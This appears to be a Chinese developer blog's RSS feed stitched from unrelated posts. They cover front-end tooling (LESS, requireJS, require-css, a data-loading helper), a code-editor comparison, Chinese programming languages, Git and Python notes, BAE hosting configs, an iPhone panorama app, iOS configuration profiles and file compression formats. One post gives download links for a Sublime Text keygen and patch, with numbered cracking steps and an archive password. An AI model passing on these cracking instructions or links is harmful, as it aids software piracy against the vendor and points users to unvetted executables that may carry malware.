HTML5 Boilerplate选择Normalize.css重置CSS。如果项目计划引入Twitter Bootstrap、YUI 3这些前端框架的话则可以移除,因为这些框架已经内置了Normalize.css。
同时HTML5 Boilerplate又引入了一个main.css,内置了一些基本的排版样式以及打印样式。
在复杂应用中,如果还手写CSS的话将是一件痛苦的事情,大量的class前缀,复用样式需要来回copy等等。为了更好的扩展性,这里建议在项目中引入LESS或Sass。这代表着:
等一些更像是编程语言的特性。这对于提高开发效率是效果非常明显的。
以LESS为例,简单介绍一下LESS在Windows下如何应用到这个项目中:
npm install -g less
lessc avnpc.less avnpc.css
npm install -g recess
然后运行watch recess avnpc.less:avnpc.css --watch
模块加载器的概念可能稍微接触过前端开发的童鞋都不会陌生,通过模块加载器可以有效的解决这些问题:
主流的JS模块加载器有requireJS,SeaJS等,加载器之间可能会因为遵循的规范不同有微妙的差别,从纯用户的角度出发,之所以选requireJS而不是SeaJS主要是因为:
可能对于一般Web App来说,引入jQuery及相关插件的概率是最大的,requireJS也亲切的给出了相应的解决方案及动态加载jQuery及插件的文档及实例代码。
在最新的jQuery1.9.X中,jQuery已经在最后直接将自己注册为一个AMD模块,即是说可以直接被requireJS作为模块加载。如果是加载旧版的jQuery有两种方法:
1. 让jQuery先于requireJS加载 2. 对jQuery代码稍做一点处理,在jQuery代码包裹一句:
define(["jquery"], function($) { // $ is guaranteed to be jQuery now */});
requireJS的示例中,直接将requireJS与jQuery合并为一个文件,如果是采用jQuery作为核心库的话推荐这种做法。
同样对于jQuery插件来说也有两种方法
1. 在插件外包裹代码
define(["jquery"], function($){ // Put here the plugin code. });
2. 在使用reuqireJS代码加载前注册插件(比如在main.js)中
requirejs.config({ "shim": { "jquery-cookie" : ["jquery"] }});
在实例的App中还用到了jQuery以外的第三方类库,如果类库不是一个标准的AMD模块而又不想更改这些类库的代码,同样需要提前进行定义:
require.config({ paths: { 'underscore': 'vendor/underscore' }, shim: { underscore: { exports: '_' } }});
在requireJS中,模块的概念仅限于JS文件,如果需要加载图片、JSON等非JS文件,requireJS实现了一系列加载插件。
但是遗憾的是requireJS官方没有对CSS进行模块化处理,而我们在实际项目中却往往能遇到一些场景,比如一个轮播的图片展示栏,比如高级编辑器等等。几乎所有的富UI组件都会由JS与CSS两部分构成,而CSS之间也存在着模块的概念以及依赖关系。
为了更好的与requireJS整合,这里采用require-css来解决CSS的模块化与依赖问题。
require-css是一个requireJS插件,下载后将css.js
与normalize.js
放于main.js同级即可默认被加载,比如在我们的项目中需要加载jQuery Mobile的css文件,那么可以直接这样调用:
require(['jquery', 'css!../css/jquery.mobile-1.3.0.min.css'], function($) {});
不过由于这个CSS本质上是属于jQuery Mobile模块的一部分,更好的做法是将这个CSS文件的定义放在jQuery Mobile的依赖关系中,最终我们的requireJS定义部分为:
require.config({ paths: { 'jquerymobile': 'vendor/jquery.mobile-1.3.0', 'jstorage' : 'vendor/jstorage', 'underscore': 'vendor/underscore' }, shim: { jquerymobile : { deps: [ 'css!../css/jquery.mobile-1.3.0.min.css' ] }, underscore: { exports: '_' } }});
在使用模块时,只需要:
require(['jquery', 'underscore', 'jquerymobile', 'jstorage'], function($, _) {});
jQuery Mobile的CSS文件就会被自动加载,这样CSS与JS就被整合为一个模块了。同理其他有复杂依赖关系的模块也可以做类似处理,requireJS会解决依赖关系的逻辑。
Web App一般都会动态加载后端的数据,数据格式一般可以是JSON、JSONP也可以直接是一个JS变量。这里以JS变量为例
var restaurants = [ { "name": "KFC" }, { "name": "7-11" }, { "name": "成都小吃" }]
载入这段数据:
$.getScript('data/restaurants.json', function(e){ var data = window.restaurants; alert(data[0].name); //KFC});
单一的数据源确实很简单,但是往往一个应用中会有多个数据源,比如在这个实例App中UI就需要载入用户信息、餐厅信息、订餐信息三种数据后才能工作。如果仅仅靠多层嵌套回调函数的话,可能代码的耦合就非常重了。
为了解决多个数据加载的问题,我习惯的解决方法是构造一个dataReady事件响应机制。
var foodOrder = { //数据载入后要执行的函数暂存在这里 dataReadyFunc : [] //数据源URL及载入状态 , dataSource : [ { url : 'data/restaurants.json', ready : false, data : null }, { url : 'data/users.json', ready : false, data : null }, { url : 'data/foods.json', ready : false, data : null } ] //检查数据源是否全部载入完毕 , isReady : function(){ var isReady = true; for(var key in this.dataSource){ if(this.dataSource[key].ready !== true){ isReady = false; } } return isReady; } //数据源全部加载完毕,则逐一运行dataReadyFunc中存放的函数 , callReady : function(){ if(true === this.isReady()){ for(var key in this.dataReadyFunc){ this.dataReadyFunc[key](); } } } //供外部调用,会将外部输入的函数暂存在dataReadyFunc中 , dataReady : function(func){ if (typeof func !== 'function') { return false; } this.dataReadyFunc.push(func); } , init : function(){ var self = this; var _initElement = function(key, url){ $.getScript(url, function(e){ //每次载入数据后,将数据存放于dataSource中,将ready状态置为true,并调用callReady self.dataSource[key].data = window[key]; self.dataSource[key].ready = true; self.callReady(); }); } for(var key in this.dataSource){ _initElement(key, this.dataSource[key].url); } }}
用法为
foodOrder.dataReady(function(){ alert(1);});foodOrder.init();
dataReady内的alert将会在所有数据载入完毕后开始执行。
这段处理的逻辑并不复杂,将所有要执行的方法通过dataReady暂存起来,等待数据全部加载完毕后再执行,更加复杂的场景此方法仍然通用。
数据载入后,最终都会以某种形式显示在页面上。简单情况,我们可能会这样做:
$('body').append('' + data.name + '');
如果页面逻辑一旦复杂,比如需要有if判断或者多层循环时,这种连接字符串的方式就相形见绌了,而这也就催生出了JS模板引擎。
主流的JS模板引擎有underscore.js,Jade,EJS等等,可以横向对比一下这些JS模板引擎的优缺点。
对于相对简单的页面逻辑(只需要支持if和for/each)来说,我更倾向选用轻巧的underscore.js或者JavaScript Templates。
在当前例子中,使用underscore.js生成列表就非常简单了,页面模板为:
效果如下:
作为一个小站长,我肯定干不过百度,但我仍然要这么做。如果你觉得我有病,欢迎来喷我;如果你支持我的做法,请在你的网站上也加入上面的代码。
]]>
下载地址:http://bcs.duapp.com/sinosky-blog/2013/02/23/44fe9b69a44f9c5f32a6db39e29a2f3d.zip
下载地址:http://bcs.duapp.com/sinosky-blog/2013/04/04/df449204018609cb6fa2ff869f52f670.7z
1. 到 官网 下载最新版
2. 运行注册机生成 license
3. Patch 程序
4. 运行程序输入 license
5. Enjoy yourself.
解压密码:sinosky.org
P.S: Sublime Text 2 与 Sublime Text 3 的破解方法一致,所以注册机也通用。
注意:最新版的 3057 及以上版本无法使用此注册机,请使用 3056 版本。
嫌更新提示烦的,请在配置文件中加入 "update_check": false
。
For us, web developers, the choice of a source code editor shouldn’t come lightly. This is where we spend most of our development time and where productivity is gained or lost on a grand scale. No two developers are alike, so there is a plethora of editors that can accommodate any coding style. But this politically-correct statement doesn’t answer the most fundamental question of all – which is the best?
To determine the best editor, we will rate each one on a scale from 1 to 5 stars, consisting of:
Editors are presented in groups, giving some context on the typical type of developer that would use them.
Who is a guru you ask? Generally, this is a person who has been using one of the editors below since before you were born. The tools in this section are hardcore and insanely expandable. They can run from a terminal window and according to UNIX traditions all their settings are defined in configuration files. Beginners beware!
Released in 1991 this versatile and powerful editor gained a massive following in the open source world. What makes it different from any other editor in this article, is its command-based workflow. Instead of simply typing code, you choose between modes for entering or selecting text, running regex-powered searches and using more commands than you can handle on an empty stomach. It can run from both a console window and a GUI. It has also been ported to all major operating systems. Vim is also extendable by using scripts and plugins, which allow you to tailor your experience with the editor. It is open source software and comes preinstalled on most Linux systems.
Development of Emacs started way back in the 1970 and continues to this day. This editor is known for its extensibility, achieved by loading customized libraries. It deserves its place in computing history, as it is one of the first editors to implement syntax highlighting, automatic indentation and support for multiple programming languages. Like Vim, it is perfectly cross-platform and can be used from both a terminal window and through a graphical user interface. The editor comes bundled with a LISP interpreter, which gurus can use to change it to extremes. Emacs is free and open source software.
The editors in this category are full blown development environments. They are meant to be easy to use and at the same time expose powerful features so that developers go through writing code, compiling, testing and deploying from a single application.
Eclipse is the goto development environment for writing Java applications. The IDE follows a plugin architecture, which makes it easy to bring support for additional programming languages. There are plugins for C/C++, Ruby, PHP and more. Eclipse offers powerful code hinting, built in documentation and real-time syntax checking. Companies like Google release their development kits for the platform, so you can easily create applications for Android and App Engine. Eclipse is free and open source.
Aptana is a development environment targeted at rich AJAX applications. It is based on Eclipse, and bundles powerful new tools that make sense for web developers. It has support for the most popular web programming languages: PHP, JavaScript, HTML, CSS, Ruby, Python and more through plugins. It has Git integration, ability to deploy your application to remote servers and bundles of useful code snippets and actions for every language. Like Eclipse, Aptana is free and open source.
Netbeans is another Java development environment, but like Eclipse, can be extended with bundles for additional languages including PHP, Python, C/C++ and others. It runs on Linux, Windows and OSX. Where this IDE shines though, is in Java development. Netbeans can speed up your development of desktop applications with a drag&drop GUI builder. A negative side effect of all this flexibility is the performance – Netbeans has frequently been reported for being slow on large projects. The IDE is free and open source.
Dreamweaver is part of Adobe’s application suite targeted at web designers/developers. It provides support only for the most popular web languages – PHP, ASP.NET, JavaScript, HTML, CSS. It is mainly suitable for beginner developers, with support for WYSIWYG editing, live previews, deployment to remote servers and building apps with jQuery mobile and Phonegap. Dreamweaver is available on OSX and Windows. With a standalone price tag of $399 it is hard to recommend in place of the other editors in the article, but buying it as part of Adobe’s CS suites might make more sense.
Links: Website
Visual Studio is the all-in-one development environment for Windows. It supports a large number of languages (C/C++, C#, VB.NET and F# come built-in) and can be used to develop applications for desktop, mobile and web. It has powerful features for code autocompletion, inline documentation, error checking, debugging, form designer, database schema creation and more. The price starts from $500, but an Express version of Visual Studio is available for free, with a limited feature set.
Links: Visual Studio, Visual Studio Express Editions
Xcode is Apple’s solution for developing OSX and iOS applications. It supports C, C++, Objective-C, Objective-C++, Java, AppleScript, Python and Ruby. With Xcode, you can write, debug and preview code. It provides a GUI builder and a mobile device emulator for testing iOS apps. The IDE is based on open source utilities like the GNU Debugger and the Apple LLVM compiler. Xcode used to be paid, but now is offered for free to developers.
Links: Website
Coda is an all-in-one web developer power tool set. It includes support for (s)FTP file transfer, code navigation, sites and groups, code folding, terminal and git integration, MySQL management and much more. With the new Coda 2 release, you can even use an iPad as a dedicated preview screen. The regular price is $99, but you can get it with a discount for around $75.
Link: Website
The editors presented here are beautiful, lightweight, easy to use and extensible. There are big communities around them, which produce bundles and plugins, write articles, and offer tips on how to make the best use of the respective editor.
TextMate is a general-purpose graphical text editor for OSX. It includes extensive support for macros and bundles, code folding, snippets, shell integration, clipboard history and project management. TextMate 2 is expected to bring long requested features like split views and full screen support, which are currently missing. The editor costs around $50.
Link: Website
Sublime is a beautiful cross-platform code editor. It is fast and feature rich, with support for practically every programming language. It supports multiple selections, code folding, keyboard bindings, macros, split screen editing and projects. Sublime Text also has a fullscreen and distraction-free modes, which look great on big displays. Like TextMate, it has a vibrant community behind it, which creates bundles and plugins with the help of Sublime’s powerful plugin API. It runs on Linux, Windows and OSX. This editor comes with an unlimited trial period, but you should eventually purchase a license for $59, which can be used on every computer that you own.
Links: Website
This section is for people who just want to get things done. These editors don’t get in your way, but at the same time are fast and very powerful. They may not be as refined as the last group, but rest assured that they can take anything you throw at them.
This powerful and lightweight editor is a must for any programmer running Windows. Although its name might connote that it is merely an improved version of Notepad, this is a mighty tool. It is easy for beginners to get started, but it takes a pro to truly master. Notepad++ supports every popular programming language with plugins available for the rest. The editor also has support for split screen editing, an FTP browser, macros and powerful text editing capabilities. Notepad++ is free as in speech and also as in beer.
Links: Website
TextWrangler is a free and lightweight OSX-only editor with support of multiple programming languages. It offers a powerful search and replace functionality with multiple file support, text manipulation, file comparison, auto indentation, multiple clipboards, ftp support and more.
Links: Website
With a rating of 4.6, the best source code editor is Sublime Text 2! With its fast release cycle, cross-platform availability, speed and elegance, Sublime offers a package that is only enhanced by the large community of developers around it.
Didn’t find your editor of choice in this list? Tell us which is your favorite in the comment section below!
nbsp;
Posted on http://tutorialzine.com/2012/07/battle-of-the-tools-which-is-the-best-code-editor/
]]>易语言
易语言可以说是中文编程语言的老大,拥有独立的编译器。易语言并不是把现存的编程工具进行表面汉化而成的,和其他国外语言相比,”易语言”最大的不同是彻底中文化,且拥有自下而上的全部自主知识产权。
易语言的全新版本叫做“易语言.飞扬”,包含垃圾收集机制,是完全面向对象的中文编程语言:
1 2 3 4 5 6 7 | `公开 类 启动类` `{` ` ``公开 静态 启动()` ` ``{` ` ``控制台.输出(``"你好,世界!"``);` ` ``}` `}` |
和其他中文编程语言相比,它是最成熟的,而且同时具备了一套完整的开发环境。
习语言
习语言即中文版的C语言,由一套完备的编程语法和相配套的工具组成,旨在将计算机及软件编程大众化,普及化,中文化,提高程序的维护性而诞生。
1 2 3 4 5 | `公共的 类 你好{` ` ``公共的 静态的 无类型 主函数(字符串 参数[]){` ` ``系统.输出.输出字符串并换行(``"你好,世界!"``);` ` ``}` `}` |
习语言家族:
丙正正
丙正正是一个能令人使用中文开发程序的编译器,提出者为魏泽人。它是中文编程语言的尝试。丙正正会将含有中文的原始码变成可被gcc编译的[C++]原始码,并透过宏定义(#define),达到完全使用中文开发程序的目的。后期的版本中,编译器 gcc 及除错器 gdb传回的变量名称,也会被翻成中文,以利于除错。
1 2 3 4 5 6 7 8 9 10 11 12 | `空 象棋檔::設定註解(字元 *s,整數 n)` `{` ` ``若(n >= 最大註解數)` ` ``對於(;最大註解數 <= n;最大註解數++)` ` ``註解[最大註解數]=NONE;` ` ``若(s==NULL 或 字串長度(s)==0)` ` ``傳回;` ` ``若(註解[n]!=NONE) ` ` ``刪除 註解[n];` ` ``註解[n]=新 字元[字串長度(s)+1];` ` ``字串複製(註解[n],s);` `}` |
PerlYuYan
PerlYuYan是一个能令人使用中文文言文开发程式 Perl 程式的 Perl 模组,由唐凤于2002年一月发表,只花了两个小时就实作完成。它是中文编程语言的尝试。作者利用中文的特质,将许多指令改成以一个中国汉字来表示,因而造成了文言语法的感觉。
1 2 3 4 5 6 7 8 9 10 11 | `# The Sieve of Eratosthenes - 埃拉托斯芬篩法` `use Lingua::Sinica::PerlYuYan;` ` ` ` ``用籌兮用嚴。井涸兮無礙` `。印曰最高矣 又道數然哉。` `。截起吾純風 賦小入大合。` `。習予吾陣地 並二至純風。` `。當起段賦取 加陣地合始。` `。陣地賦篩始 繫繫此雜段。` `。終陣地兮印 正道次標哉。` `。輸空接段點 列終註泰來。` |
中蟒
中蟒是一套基于Python即时编译语言的中文编程语言。除了保留字,变量名称可用中文外,很多内建数据类型的操作都可用中文來进行。
1 2 3 4 5 6 7 8 9 | `#!/usr/local/bin/cpython` `回答 = 讀入(``'你認為中文程式語言有存在價值嗎 ? (有/沒有)'``)` `如 回答 == ``'有'``:` ` ``寫 ``'好吧, 讓我們一起努力!'` `不然 回答 == ``'沒有'``:` ` ``寫 ``'好吧,中文並沒有作為程式語言的價值.'` `否則:` ` ``寫 ``'請認真考慮後再回答.'` |
周蟒
周蟒,又名zhpy,是一个轻量的,与Python 语言互相兼容的中文Python 语言。让使用者可以使 周蟒用纯中文语句(繁体或简体)来编写程式。目前主要适用于教学上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | `#!/usr/bin/env zhpy ` `# 档名:while,py ` `数字 = 23 ` `运行 = 真 ` `当 运行: ` `猜测 = 整数(输入(``'输入一个数字: '``)) ` `如果 猜测 == 数字: ` `印出 ``'恭喜, 你猜对了.'` `运行 = 假 # 这会让循环语句结束 ` `假使 猜测 < 数字: ` `印出 ``'错了, 数字再大一点.'` `否则: ` `印出 ``'错了, 数字再小一点.'` `否则: ` `印出 ``'循环语句结束'` `印出 ``'结束'` |
O语言
O语言是一款中文计算机语言(或称套装),包括O汇编语言、O中间语言和O高级语言等,其中窗口设计、界面描述语言、O中间语言已经能很好的整合在一起。
O中间语言可以说是汇编语言的抽象,它和汇编语言一样,使用单句的语法,除了基本的条件句和函数调用外,基本的一条指令对应一条语句,因此,它比C语言在语法上更低级一些。这样设计的目的是为了保持底层足够大的灵活性,使前端代码比较容易地映射到中间语言。C语言毋庸置疑是很强大,Pascal语言也非常强大,但是你很难将两者代码进行相互转换,如果使用中间语言作为中间层,就能够兼容两者的语法。
1 2 3 4 5 6 | `.包含文<*视窗32.omh>` `入口 主函数()` `{` ` ``MessageBox(0,&``"Hello,World!"``,&``""``,0);` ` ``ExitProcess(0);` `}` |
中文培基
中文培基是Basic语言的中文本地化版本(八十年代初就有了,不可思议吧,可是,第一门中文编程语言其实从七十年代就有了,平台是DOS)。
1 2 3 4 5 6 | `10 卜=0` `20 入 水, 火` `30 從 日 = 水 到 火` `40 卜 = 卜+對數(日)` `50 下一 日` `60 印 卜` |
翻译一下:
1 2 3 4 5 6 | `10 Y=0` `20 INPUT E, F` `30 FOR A = E TO F` `40 Y = Y + LOG (A)` `50 NEXT A` `60 PRINT Y` |
其实,中文perl、中文Pascal、中文Cobol、中文LOGO和中文Basic这些明显的本地化语言都是有的。
我觉得中文编程语言可以按照中文的深度这样两种:
最后,来看一个轻松一点的,嘿嘿。
草泥马语
草泥马语是马勒戈壁第一款拥有自主知识产权的,以马勒戈壁上顽强生存的草泥马们为主体的编程语言。草泥马语语法生动丰富,内容健康活泼,是一门老少皆宜,人人适用的编程语言。它的出现弥补了我戈壁在国际编程语言界中的一项空白。
草泥马语是用了先进的JOT(Just Out of Time)编译引擎,并且运行于爪哇虚拟机中,运行速度大幅度降低同时,还使用了戈壁内外各种先进技术,使的草泥马语不十分可靠。实现上,草泥马语是一款根据国外同类型语言“Whitespace”改编(替换关键字)而成的全新的编程语言,执行时使用“草泥马”的不同组合实现不同功能,关键字只有这几个:“草”、“泥”、“马”和“河蟹”,其它字符全部都被当做注释。
1 | `草草草泥马 马草草草泥草草草草泥泥马 草马草 泥马草泥 草草草泥草泥草马 泥马草草 草草草泥马 泥草草草 草马草 草草草泥草泥泥马 泥草草泥 马泥草草泥草草草泥草泥马 马草马草泥草草草草泥泥马 马草草草泥草草草泥草泥马 草马马 马马马` |
这就是一个从1到10的循环来输出这十个数而已。
另外,和“草泥马”语达成谅解备忘的还有这种中文化的标记语言(所以严格说它不能算是编程语言)——
CHTML
CHTML是国际互联网组织W3C超文本标记语言4.0的一个实现(dtd在此)。是在汉语编程光辉思想的指导下,互联网普遍协议与中国国情相结合的产物。他的名字在中文叫“中文版如何做爱”(Chinese How To Make Love)。和汉语编程一样,原来使用英文的标签现在可以全部使用中文;除此之外, 还额外扩展了两个标签,即<反功夫网>和<勾>。除此以外,该协议和现有 HTML 标准完全兼容。
<勾>是和中国国情结合的产物。有时候我们需要创建只有一个答案的投票,此标签即可用于及时丢弃用户投票,节省服务器资源,彰显社会主义优越性。
<反功夫网>是著名的CAPTCHA系统的浏览器实现。所以在此标签中的元素都变成CAPTCHA。从而人可以顺利阅读,而机器不能。此标签对人和搜索引擎都无害,但可以透明飞跃长城。技术细节还在讨论当中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | `<省部级标题>` ` ``贵州省新闻办举行发布会公布` ` ``<反功夫网>` ` ``某某` ` ``</反功夫网>` ` ``事件真相` `</省部级标题>` `<县处级标题>` ` ``2008-07-01 19:56:38来源, 新华网` `</县处级标题>` `<列举>` ` ``核心提示:7月1日晚上19点40分,XX新闻办公室举行新闻发布会,公布` ` ``<反功夫网>` ` ``某某` ` ``</反功夫网>` ` ``事件真相。` ` ``<反功夫网>` ` ``某某` ` ``</反功夫网>` ` ``县社会秩序基本恢复。` `</列举>` |
从这里你可以找到一些官方的例子。
Posted on http://www.raychase.net/758
]]>// 如果你还不知道 python 是什么,甚至没有在计算机编程上花费任何一点时间……那么请自觉略过这一行文字之下的所有内容,它们不适合你。
// 好吧,切入正题。
// Python 相对来说比较简单,也许这只是我个人认为。但是对比 C++ 来说,用“简单”形容不为过。
// 如果你自认为英语非常不错,也可以直接转到 Learn Python the Hard Way 网页查看英文原版。
// 这篇文章仅仅是将原文中提到的代码、注释等翻译并整合为一个 .py 文件,使对编程有一定基础者可以直接通过对比源代码与输出结果来学习 python 语言。
// 执行 .py 文件需要 下载 Python 运行环境 并安装,Windows 平台可能还需要 PowerShell(Windows XP 或更低版本操作系统)。
// 2013-2-3 更新:第一章至第七章内容
// 文章待更新……
]]>本来想着只把最有用、最常用的 Git 命令记下来,但是总觉得这个也挺有用、那个也用得着,结果越记越多。
图片比较大,建议保存到本地观看
Posted on http://www.cnblogs.com/1-2-3/archive/2010/07/18/git-commands.html
]]>于是有了博客右侧的东东, 不过只支持Webkit、Firefox、Opera,不支持IE。
主要参考了 Fall leaves,加了firefox和opera的支持。
使用方法:
leaves.js我重新修改过, 提供两个参数:num, id
修改办法如下: new FallingLeaves(15, “domid”); 要说一下的是修改了数量, 图片也要对应的增加.
下载地址: 本地下载 [
](http://pan.baidu.com/share/link?shareid=171809&uk=1058557179)
]]>v1.04只有vps版,作者说维护多个版本太麻烦,正好我也要用,就修改了这个BAE版,附件存储及头像用的是百度云存储(BCS)。
注意:由于我的失误,v1.04版有几个小bug,现已修复,请重新下载v1.04.1版。
下载地址:
GitHub:
https://github.com/sinosky/youbbs
(跟随 https://github.com/ego008/youbbs 更新)
demo:
]]>、 ……梦……梦
图片一张
作者:蟹农场 戴志勇
(管理员让我小尺度一些,我做到了。不过只有一张图片的博文是很少见的。)
]]>下面是我自己写的规则,基本上考虑到了常见的情况,包括 WordPress 里原有的文件,所有主题、插件以及 Sitemap、robots。
handlers: - url : /favicon.ico$ script : favicon.ico - url : /wp-admin/(.*) script : wp-admin/$1 - url : /wp-content/(.*) script : wp-content/$1 - url : /wp-includes/(.*) script : wp-includes/$1 - url : /sitemap.html$ script : sitemap.html - url : /sitemap.xml.gz$ script : sitemap.xml.gz - url : (.*).xml$ script : $1.xml - url : (.*).php$ script : $1.php - url : (.*) script : index.php
P.S:BAE 可以在根目录下写文件
]]>360 度的全景视频已经不是什么新鲜概念,Kogeto 公司推出的摄像装置 Dot 就可以让 iPhone 瞬间变成 360 度全景摄像机,之前的 Kickstarter 项目 GoPano 同样是通过为 iPhone 装上一个特制镜头,实现类似功能。另外,iOS 6 本身也支持全景模式。
但是,假如现在有一款应用 Cycloramic 既不需要特制镜头,也无需借助三脚架、手机盒或其他任何外部支持物,仅仅利用新版 iPhone 5 的震动功能,就可以让 iPhone 像跳芭蕾一样在原地自动旋转 360 度,拍下全景视频,你觉得怎么样?
Cycloramic 的操作非常简单,首先,用户可以设定手机旋转的度数,360 度、720 度或 1080 度,然后,只需把 iPhone 放到一个光滑的平面上,(比如视频里面的玻璃桌或者花岗岩台面),按下界面上的 Go 按钮,Cycloramic 就能让 iPhone 以一个固定的频率震动,这个震动的效果恰好可以让 iPhone 以一定速率在原地旋转。现在来看一下它的拍摄效果吧:
不过抱歉,因为 iPhone 5 更轻,跟 iPhone 4 或 iPhone 4S 的震动器也不一样,所以这款应用在 iPhone 5 上演示效果最好,后两者只能在水平玻璃上缓慢旋转。
可以说,Cycloramic 是一款独具匠心的小应用,很难规模化,但却很有爱。它的售价是 0.99 美元,未来还将支持用户将拍摄内容分享到社交网络上,感兴趣的用户可以点此下载。
via TC
Posted on http://www.36kr.com/p/200422.html
]]>相信不少人家中都有超过一台 Apple 的移动设备,例如商务人士经常在 iPhone 和 iPad 上交替工作,而 iPod touch 和 iPhone 也是不少新潮学生的玩物。设想这样一个情景,如果你新购置一台 iPad Mini(貌似大陆已经发行),怎样将常用的邮箱登录信息和已保存的家庭、学校的公共 Wi-Fi 密码由旧的 iPhone 转移过来呢?当然,使用 iTunes 或者 iCloud 恢复备份是个不错选择;可是将两个设备的屏幕图标和密码都弄得完全一样实在不是学生党的风格,再说你也不会在 iPad 和 iPhone 上使用完全相同的设置和程序(好吧,有人真的希望这样做……那你买 iPad 干神马?视力下降了?)。举例另外一种情况,作为一名管理人员,你希望和手下员工共用公司的开放邮箱,但又不保险让众多不信任的下属知道公司设置的密码(万一有人偷偷改了咋弄?),你一定很纠结……肿么办?肿么办?下面介绍由 Apple 官方出品的 iOS 配置利器——iPhone 配置实用工具。[我是 Win + Mac 下载地址传送门](http://support.apple.com/zh_CN/downloads/#iPhone 配置实用工具)
iPhone 配置实用工具可以让你将 iOS 设置中的一项或多项保存成一个“描述文件”,任何安装此“描述文件”的 iOS 设备都拥有相同的设置,只有某几项设置相同,且并不是通过 iTunes 恢复来的——这意味着你可以随时移除“描述文件”(但并非都是无条件移除,稍后说明)来还原先前的设置。这里以“虚拟专用网络”设置(你懂的)为例,抛砖引玉仅当个教程,官方中文帮助文档请猛击此处!为了避免不必要的麻烦,文章中重点词语一律省略,请自动看图脑补剩余内容……
1. 首先从 Windows “开始菜单”的“所有程序”中打开“iPhone 配置实用工具”,依次点击“配置描述文件”、“新建”,这样就创建了一个空白描述文件。如果界面中没有配置文件编辑框,点击右侧的“显示细节”。然后在“通用”类别的“名称”、“标识符”和“机构”中输入自己的内容。注意“标识符”是每个描述文件独一无二的识别代码,如果两个描述文件的标识符相同,旧的将被新安装的取代。
2. 设置好个性化信息,接下来进入正题。切换到左侧“虚拟专用网络”类别,点击“配置”新增一个有效负载,如同在 iPhone 上设置一样,将需要输入的内容输全。如果某项内容必需但描述文件中没有配置,iOS 将会在需要时请求用户手动输入。
3. 对于密码、Wi-Fi、邮件、日历、通讯录和 APN 也可以进行配置,且每一类别可以配置不止一个有效负载,此处不再废话。说到密码,有必要提一下,Apple 不允许在描述文件中为设备设置密码,但可以通过描述文件限制新密码策略(例如不能使用纯升序密码 123456789 或重复数字 112233 等等)。这些信息在安装描述文件后会自动写入到系统中,不需要用户进行维护操作,密码等也不会以明文显示。
4. 回到“通用”类别,对于高级需求用户,可以指定描述文件是否能被手动、自动移除,以及设置手动移除时的鉴定信息。最后点击顶部“导出”生成后缀为 .mobileconfig 的描述文件。
至此,描述文件的创建工作就已经完成了。可以对描述文件签名并分发,以共享这些设置信息。iOS 内置的 Safari 下载描述文件后会自动弹出安装提示,其他程序接收后可以在“打开方式”中选择用“设置”应用打开来安装。
上面创建的 SinoSky 虚拟专用网络描述文件已被共享,可以在某云端硬盘(点此进入)查看和下载。描述文件经过签名,保证安全,但请在安装前确认是否来自 SinoSky.org 机构。
另外,对于变形的图片吐槽一下……这个窗口截图时实在不能调整大小……凑合看吧。
]]>1. 文件压缩格式:ARC
说点题外话,单词 arc 的本意是“弧”,所以在此肯定不是取此意,而是用了存档 (archive) 这个单词的前三个字母缩写作为后缀名。ARC 格式通常并不怎么有名,因为在处理绝大多数文件时,另一种名为 7z (7-Zip) 的格式已经可以提供很高的压缩率。但如果需要处理非常庞大的文件,动辄十几吉 (GB, gigabyte) 甚至几十吉的文件体积会让 7z 也力不从心,这时候就应该请 ARC 格式助一臂之力了。通过查询维基百科 (Wikipedia) 网站,得知 ARC 格式是 System Enhancement Associates (SEA) 组织的产物,早在拨号网络 (Dial-up) 年代就已出现且被广泛使用,由于版权和商标原因,SEA 和其它公司中间还产生了一些矛盾,但这种格式还是一直流传和演变到现在,恐怕也已经分不清究竟谁才是 ARC 格式的所有者。官方并没有提供很好的压解工具,目前常用的 ARC 制作和释放工具是 FreeArc。相比于其它压缩文件格式,例如 RAR 或 7z 等,ARC 格式在提高压缩率的同时也牺牲了一些有用的特性,比如多卷压缩、储存文件的属性、时间戳、NTFS 流数据等;同时 FreeArc 软件也并不能利用 64 位操作系统的大内存优势,对于一款针对超大文件的处理工具而言,不支持 64 位实属可惜。
现在最常见到 ARC 格式的地方就是在网上下载的硬盘版游戏中,鉴于大型游戏遵循文件少而大的原则,那些需要通过批处理解压的硬盘版游戏,不是使用 7z 就是用的 ARC。至于 ARC 的其它“广泛使用”,似乎并不怎么多见。
2. 视频压缩格式:BIK
BIK 格式的全称是 Bink Video,由 RAD Game Tools 提供。BIK 压制的视频拥有极高的清晰度和非常小的文件体积,且无需完整解压即可播放。记得很久之前支持 BIK 的播放器还很少,于是我就打算将 BIK 格式转换成 AVI 以便分享,结果愣是用 19 兆 (M, megabyte) 的 BIK 文件提取出 220 兆的 AVI,从此我吸取经验,再也没打算从 BIK 里面挖任何东西,这个比率真是伤不起啊……BIK 格式比较完善,没有像 ARC 格式那样通过牺牲其它优势而追求压缩比。既可以用播放器直接播放 BIK 视频,也可以通过调用 BinkW.dll 中的 API 在应用程序中实现嵌入的实时解码。RAD Game Tools 是官方唯一的集视频制作、封装、调整、提取为一体的处理工具,但如果只考虑播放的话,普通播放器就可以解决问题。
BIK 视频也多用于游戏中,甚至可以说它就是为游戏而生的。另外某些压制的高清电影共享时也采用这种格式,但压制 BIK 电影并不普遍。
3. 音频压缩格式:M4A / MP4 / AAC
也许会有人奇怪,为什么这次出现了两个格式。其实这两个音频格式有着异曲同工之妙,两者根本的编码方式是相同的,为 MPEG-4 AAC 音频编码,只不过在不同场合采用了不同的文件后缀名加以区分。最初,MP4 文件也包含纯音频,不过后来人们发现视频文件也是相同的 MP4 文件,不容易分辨,便将音频改名为 M4A,取 MPEG-4 Audio 之意。也有一些转换工具直接以编码器命名,又出现 AAC 文件。M4A 文件最大的特点就是几乎无损,相比同为 MPEG 编码的 MP3 格式要好的没倍。在不通过机器测试的情况下,可以认为 M4A 就是无损音乐;换个说法,至少人的耳朵听不出来 M4A 比起真正无损音乐损失了什么。因为 MPEG 是一种公开的编码方式,所以从简易的千千静听,到发烧级的 Foobar 200,很多工具都可以制作 M4A 或者 AAC 文件,没有什么官方不官方的软件来推荐。
说起 M4A 格式,不得不提一下 Apple 的 iTunes 音乐商店,Apple 不仅很早就开始支持 M4A,还将它投入到商业运营当中。如今做成了全球最大的在线音乐销售平台,可以说也有高质量 M4A 格式的功劳。想做到媲美 CD 的数字音乐,靠 MP3 格式是站不住脚的。
您可以在 SkyDrive 查看或下载此文档的 Office Word 与 iWork Pages 副本。
